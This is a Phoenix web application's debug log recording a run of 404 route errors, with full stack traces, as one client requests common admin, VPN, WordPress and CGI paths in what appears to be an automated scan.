    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:54.901000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46834] GET /show_bug.cgi
[Thu Sep  3 08:20:54.915000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46834] ** (Phoenix.Router.NoRouteError) no route found for GET /show_bug.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:55.784000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46842] GET /citrix/nfuse/default/login.asp
[Thu Sep  3 08:20:55.800000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46842] ** (Phoenix.Router.NoRouteError) no route found for GET /citrix/nfuse/default/login.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:00.537000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46852] GET /test
[Thu Sep  3 08:21:00.551000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46852] ** (Phoenix.Router.NoRouteError) no route found for GET /test (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:03.276000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55576] GET /login
[Thu Sep  3 08:21:03.350000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55576] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:05.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55578] GET /vpn/
[Thu Sep  3 08:21:05.736000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55578] ** (Phoenix.Router.NoRouteError) no route found for GET /vpn (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:06.231000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55590] GET /test.cgi
[Thu Sep  3 08:21:06.251000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55590] ** (Phoenix.Router.NoRouteError) no route found for GET /test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:11.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55598] GET /ucsm/isSamInstalled.cgi
[Thu Sep  3 08:21:11.942000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55598] ** (Phoenix.Router.NoRouteError) no route found for GET /ucsm/isSamInstalled.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:12.224000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55602] GET /client/
[Thu Sep  3 08:21:12.240000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55602] ** (Phoenix.Router.NoRouteError) no route found for GET /client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:13.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46554] GET /login
[Thu Sep  3 08:21:13.812000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46554] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:17.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46572] GET /whois.cgi
[Thu Sep  3 08:21:17.546000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46572] ** (Phoenix.Router.NoRouteError) no route found for GET /whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:19.233000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46596] GET /vsmc.html
[Thu Sep  3 08:21:19.267000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46596] ** (Phoenix.Router.NoRouteError) no route found for GET /vsmc.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:20.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46606] GET /ControllerWeb/
[Thu Sep  3 08:21:20.244000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46606] ** (Phoenix.Router.NoRouteError) no route found for GET /ControllerWeb (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:23.171000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45926] GET /wp-login.php
[Thu Sep  3 08:21:23.181000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45926] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:25.802000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45930] GET /cucm-uds/version
[Thu Sep  3 08:21:25.829000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45930] ** (Phoenix.Router.NoRouteError) no route found for GET /cucm-uds/version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:28.978000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45946] GET /wwwadmin.cgi
[Thu Sep  3 08:21:28.998000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45946] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwadmin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:21:34.631000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32966] GET /wwwboard.cgi
[Thu Sep  3 08:21:34.648000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32966] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwboard.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

